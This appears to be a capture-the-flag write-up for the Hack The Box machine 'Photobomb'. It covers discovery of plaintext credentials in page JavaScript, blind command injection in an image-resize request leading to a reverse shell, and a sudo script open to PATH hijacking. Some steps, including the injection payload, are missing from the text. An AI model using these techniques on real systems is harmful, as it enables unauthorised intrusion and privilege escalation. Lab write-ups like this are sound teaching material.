Photobomb is an easy Linux machine where plaintext credentials are used to access an internal web application with a Download functionality that is vulnerable to a blind command injection. Once a foothold as the machine’s main user is established, a poorly configured shell script that references binaries without their full paths is leveraged to obtain escalated privileges, as it can be ran with `sudo
└─$ nmap -p- --min-rate 10000 10.10.11.189
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-04 20:04 UTC
Nmap scan report for 10.10.11.182
Host is up (0.088s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
└─$ nmap -p 22,80 -sCV 10.10.11.182
Starting Nmap 7.80 ( https://nmap.org ) at 2023-02-04 20:05 UTC
Nmap scan report for 10.10.11.182
Host is up (0.086s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.18.0 (Ubuntu)|_http-server-header: nginx/1.18.0 (Ubuntu)|_http-title: Did not follow redirect to http://photobomb.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see a web port open and SSH one. Let’s visit the web page.
We see a web page that is about photography and has a link for a web (basic-auth) login modal. The path is /printer.
We need to try and find the teck stack of the web page. The headers done’t give us much tbh. Browsing at the Deb Tools we see on the <head> a script being loaded.
Looking at the debugger tab we find the js script and it has plaintext username and password.
Plaintext credentials
1
2
3
4
5
6
7
functioninit(){// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if(document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)){document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:[email protected]/printer');}}window.onload=init;
pH0t0:b0Mb!
We login the printer and we see a collage of pictures ready to download in differnt sizes and formats.
We are going to capture a request with Burp to analyze it.
We still don’t have much of an info about the server or its vulnerable spots. Let’s try to mess with it and send a request with altered argumements like this:
photo=andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg&filetype=jpg&
We basically omit the dimensions parameter.
And boom! We get a 500 server error page with all this info.
Searching about the software didn’t lead to much. We need to understand the logic hereand how the app resizes all the photos in each request.
Info
The idea here is that the server uses a tool to convert the images to different sizes. One of the most common tools in Linux is convert from ImageMagick. How does that work?
1
convert original.jpg -resize 1000x1000 new.png
If that’s what the server is using the our input is put like that:
Our payload got executed and we have established a rev shell. Now let’s grab the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
└─$ nc -lnvp 9001listening on [any]9001 ...
connect to [10.10.14.9] from (UNKNOWN)[10.10.11.182]37068wizard@photobomb:~/photobomb$ ls
ls
log photobomb.sh public resized_images server.rb source_images
wizard@photobomb:~/photobomb$ cdcdwizard@photobomb:~$ ls
ls
photobomb user.txt
wizard@photobomb:~$ cat user.txt
cat user.txt
9c5c894768bddb24189d670bf188eed1
wizard@photobomb:~$ sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:~$
Info
Things to point from this:
user can run /opt/cleanup.sh as root.
SETENV means that the current environment will be used rather than a fresh one.
The script below looks like it’s for managing some logs and keeping “safe” the picture of the web app:
1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log filesif[ -s log/photobomb.log ]&& ! [ -L log/photobomb.log ]then /bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi# protect the priceless originalsfind source_images -type f -name '*.jpg' -exec chown root:root {}\;
The weak spot here is clearly the find command that is referenced without the full path of it. It’s a very simple path hijack.
Tip
That means that Bash will search the binary find in the directories that are specified in the $PATH environment variable.